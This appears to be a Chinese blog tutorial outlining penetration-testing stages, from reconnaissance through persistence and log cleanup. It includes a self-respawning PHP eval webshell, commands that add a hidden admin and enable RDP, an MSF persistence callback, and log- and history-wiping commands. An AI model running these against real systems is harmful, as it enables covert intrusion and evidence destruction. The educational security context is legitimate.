目錄:
滲透測試
資訊收集
漏洞探測
漏洞利用
内網轉發
内網滲透
痕迹清除
撰寫滲透測試報告
滲透測試流程
滲透測試:
滲透測試就是利用所掌握的滲透知識,對網站進行一步一步的滲透,發現其中存在的漏洞和隐藏的風險,然後撰寫一篇測試報告,提供給客戶。客戶根據測試報告,對網站進行漏洞修補,以防止黑客的入侵!
滲透測試的前提是經過使用者的授權,才可以對網站進行滲透。如果沒有經過客戶的授權而對一個網站進行滲透測試的話,這是違法的。自2017年6月1日起施行的《網絡安全法》,對網絡犯罪有了法律限制。 網絡安全法
滲透測試分為 白盒測試 和 黑盒測試
白盒測試就是在知道目标網站源碼和其他一些資訊的情況下對其進行滲透,有點類似于代碼分析
黑盒測試就是隻知道網站的url或app,模拟黑客對網站的滲透
黑盒滲透測試的流程和思路:
當确定好了一個目标進行滲透之後,第一步該做的是什麼呢?
資訊收集
第一步做的就是資訊收集,根據網站URL可以查出一系列關于該網站的資訊。通過URL可以查到該網站的IP、該網站作業系統、腳本語言、在該伺服器上是否還有其他網站等等一系列的資訊。滲透測試之資訊收集
漏洞探測
當收集到了足夠多的資訊之後,開始對網站進行漏洞探測。探測網站是否存在一些常見的Web漏洞,比如:
SQL注入;SQL注入詳解
XSS跨站腳本;XSS(跨站腳本)漏洞詳解
CSRF跨站請求僞造;CSRF跨站請求僞造攻擊
XXE漏洞;XXE(XML外部實體注入)漏洞
SSRF服務端請求僞造漏洞;SSRF(服務端請求僞造)漏洞
檔案包含漏洞;檔案包含漏洞
檔案上傳漏洞 ;檔案上傳漏洞
檔案解析漏洞;檔案解析漏洞
遠端代碼執行漏洞;遠端代碼執行漏洞
CORS跨域資源共享漏洞;CORS跨域資源共享漏洞
越權通路漏洞;越權通路漏洞
目錄浏覽漏洞和任意檔案讀取/下載下傳漏洞,傳送門——>目錄浏覽漏洞和任意檔案讀取/下載下傳漏洞
struts2漏洞;Struts2漏洞
JAVA反序列化漏洞;JAVA反序列化漏洞
這些是網站經常發現的一些漏洞,還有一些網站漏洞,這裡我就不一一列舉出來了。
網站漏洞掃描工具也有很多,比如:
AWVS ; AWVS掃描器的用法
AppScan; AppScan掃描器的用法
Owasp-Zap; OWASP-ZAP掃描器的使用
Nessus;Nessus掃描器的使用
網站漏洞掃描工具很多,這些是最常用到的!
漏洞利用
當探測到了該網站存在漏洞之後,可以嘗試對該漏洞進行利用了。不同的漏洞有不同的利用工具,很多時候,通過一個漏洞很難拿到網站的webshell,往往需要結合幾個漏洞來拿webshell。常用的漏洞利用工具如下:
SQL注入;Sqlmap的使用
XSS跨站腳本;Beef-XSS的使用
抓包改包工具;Burpsuite工具的使用 、 Fidder抓包軟體的使用
檔案上傳漏洞,通過傳一句話木馬上去,進而再獲得webshell;Webshell 、一句話木馬
通常獲得了webshell後,一般權限很低,需要提權,可以選擇反彈一個MSF類型的shell提權:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一個後門木馬,也可以反彈一個CobaltStrike類型的shell:滲透測試神器Cobalt Strike的使用, 也可以MSF和CobaltStrike關聯:MSF和CobaltStrike關聯 也可以使用其他提權:Windows提權 、 Linux提權
内網轉發
當擷取到了網站的Webshell之後,如果想擷取該主機的有關資訊,可以嘗試将該主機的webshell換成MSF的shell。直接生成一個木馬,然後在網站中執行該木馬,就能接收到一個MSF類型的shell了。
如果還想進一步的探測内網主機的資訊的話,就需要進行内網轉發了。是不能直接和内網的主機通信的,是以我們就需要借助擷取到的webshell網站的伺服器和内網主機進行通信。
内網轉發
内網轉發随想
内網穿透工具FRP的使用
内網橫向滲透
當擷取了外網伺服器的權限,進入該系統後,需要想盡辦法從該伺服器上查找到想要的資訊。
對于windows主機,可以嘗試浏覽目錄,或許能有很多意想不到的結果。很多人習慣把賬号密碼等容易忘的東西存放在備忘錄中,或者是桌面上。還可以查找資料庫的連接配接檔案,檢視資料庫的連接配接賬号密碼等敏感資訊。當獲得了windows主機的賬号密碼,或者是建立了新使用者後,為了不被網站管理者發現和不破壞伺服器。盡量不要使用遠端桌面。因為使用遠端桌面動靜比較大,如果此時伺服器管理者也在登入,而此時通過遠端桌面登入的話,會将管理者擠掉,這樣将很快的被管理者踢掉。對于實在是要遠端桌面登入的情況的話,盡量不要建立一個使用者進行登入。可以嘗試激活 guest 使用者,然後将其加入 administrators 組裡面,用 guest 使用者身份登入。在RDP遠端登入後,可以檢視其他使用者桌面上和其他目錄有哪些軟體,需要找的目标如下:
FTP相關的軟體
資料庫相關的軟體
打開浏覽器,檢視曆史記錄,檢視某些網站是否儲存有使用者密碼。利用工具檢視浏覽器儲存的密碼
從該主機上找到的賬号密碼,可以做一個字典,在對内網其他機器進行爆破的時候,很有可能是同密碼。
net user guest /active:yes #激活guest使用者
net localgroup administrators guest /add #将guest使用者添加到
net user guest 密碼 #更改guest使用者密碼
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #開啟3389端口
對于Linux主機,可以檢視開放的端口号,開放的服務,與其建立連接配接的内網主機。檢視目錄,查找網站資料庫連接配接密碼。總之,就是盡可能的多查找一些賬号密碼,這對于内網的賬号爆破非常有用。
在搭建了隧道可以連寫通内網後,首先就需要對内網進行資産發現了。但是對于内網存活網段的判斷是一個大問題。内網很有可能同時存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 網段。這就需要用掃描器對其進行探測了。通過代理進行内網掃描不建議使用nmap。如果是在本地主機通過代理掃描,可以圖形化界面的話,可以使用 RouterScan 、禦劍高速TCP全端口掃描器、IIS_Scanner。但是注意線程調低一點,不然代理很容易崩了。如果使用指令行掃描器的話,可以使用S掃描器。在掃描了内網資産和端口開放情況後,對于445端口,就可以打一波MS17_010。但是注意通過代理打445,和之前的是不一樣的。傳送門——> 内網滲透之MS17-010 。對于3389端口,可以打一波CVE-2019-0708,傳送門——> CVE-2019-0708 遠端桌面漏洞複現 。對于1433/3306/6379等端口,可以嘗試爆破,利用之前收集到的賬号密碼成功率更高哦。
關于内網滲透(域環境和非域環境):内網滲透
内網的橫向滲透MSF比較好用:
後滲透階段之基于MSF的路由轉發
後滲透階段之基于MSF的内網主機探測
内網滲透的ICMP和DNS隧道搭建:
利用DNS進行指令控制和搭建隧道
利用ICMP進行指令控制和隧道傳輸
相關文章:内網滲透測試之域滲透詳解!
内網滲透中mimikatz的使用
權限維持
在拿到目标主機的權限後,很有可能當時并不能擷取到想要的東西,需要進行長期的潛伏,特别是在内網滲透中,需要進行長期的資訊收集。這時,權限維持就很重要了。需要維持住獲得的現有權限。
Web後門
1:隐藏後門檔案(将檔案設定為隐藏)
2:不死馬,該腳本每5秒向伺服器建立test.php,并寫入一句話免殺木馬。結合attrib指令隐藏檔案更好地建立後門。
<?php
set_time_limit(0);//程式執行時間
ignore_user_abort(1);//關掉終端後腳本仍然運作
unlink(__FILE__);//檔案完整名
while(1){
file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
$b=array_keys($a)[0];
eval($b);?>');
sleep(5);
}
?>
3: 404頁面隐藏後門,或者在其他自帶檔案中插入後門代碼
注:以上幾種後門方法均能被D盾等工具檢測到
Windows系統
1:建立隐藏使用者,在使用者名後加 $
2:在開機啟動目錄下放置木馬檔案,隻要目标機器重新開機,将回連我們的遠控
3:MSF裡的 persistence 子產品,執行指令可以使目标機器每隔一定時間自動回連遠控。但是容易被發現
#反彈時間間隔是5s 會自動連接配接192.168.27的4444端口,缺點是容易被防毒軟體清除
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#然後它就在目标機建立了這個檔案:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把該服務加入了系統資料庫中,隻要開機就會啟動
4:在域環境下,想辦法獲得 krbtgt 使用者的哈希,該使用者的哈希可以進行票據傳遞攻擊。而且一般該使用者的密碼不經常改變。
5:shift後門
6:遠端桌面會話劫持
Linux系統
1:SSH後門
2:crontab定時任務
3:SSH公鑰
4:建立SUID=0的使用者
痕迹清除
當達到了目的之後,有時候隻是為了黑入網站挂黑頁,炫耀一下;或者在網站留下一個後門,作為殭屍電腦,沒事的時候上去溜達溜達;亦或者挂入挖礦木馬;但是大家千萬不要幹這些事,這些都是違法的!
在滲透進去之後如何清除留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理者發現入侵者的時間成本和人力成本。隻要管理者想查,無論你怎麼清除,還是能查到的。
最主要還是要以隐藏自身身份為主,最好的手段是在滲透前挂上代理,然後在滲透後痕迹清除。
Windows系統
1:如果是windows系統,可用MSF中的 clearev 指令清除痕迹
2:如果3389遠端登入過,需要清除mstsc痕迹
3:執行指令清除日志:
del %WINDR%\* .log /a/s/q/f
4:如果是web應用,找到web日志檔案,删除
相關文章:WINDOWS之入侵痕迹清理總結
Linux系統
1:如果是Linux系統,在擷取權限後,執行以下指令,不會記錄輸入過的指令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目錄下的日志檔案
3:如果是web應用,找到web日志檔案,删除
撰寫滲透測試保告
在完成了滲透測試之後,需要對這次滲透測試撰寫滲透測試報告。明确的寫出哪裡存在漏洞,以及漏洞修補的方法。以便于網站管理者根據滲透測試報告修補這些漏洞和風險,防止被黑客攻擊!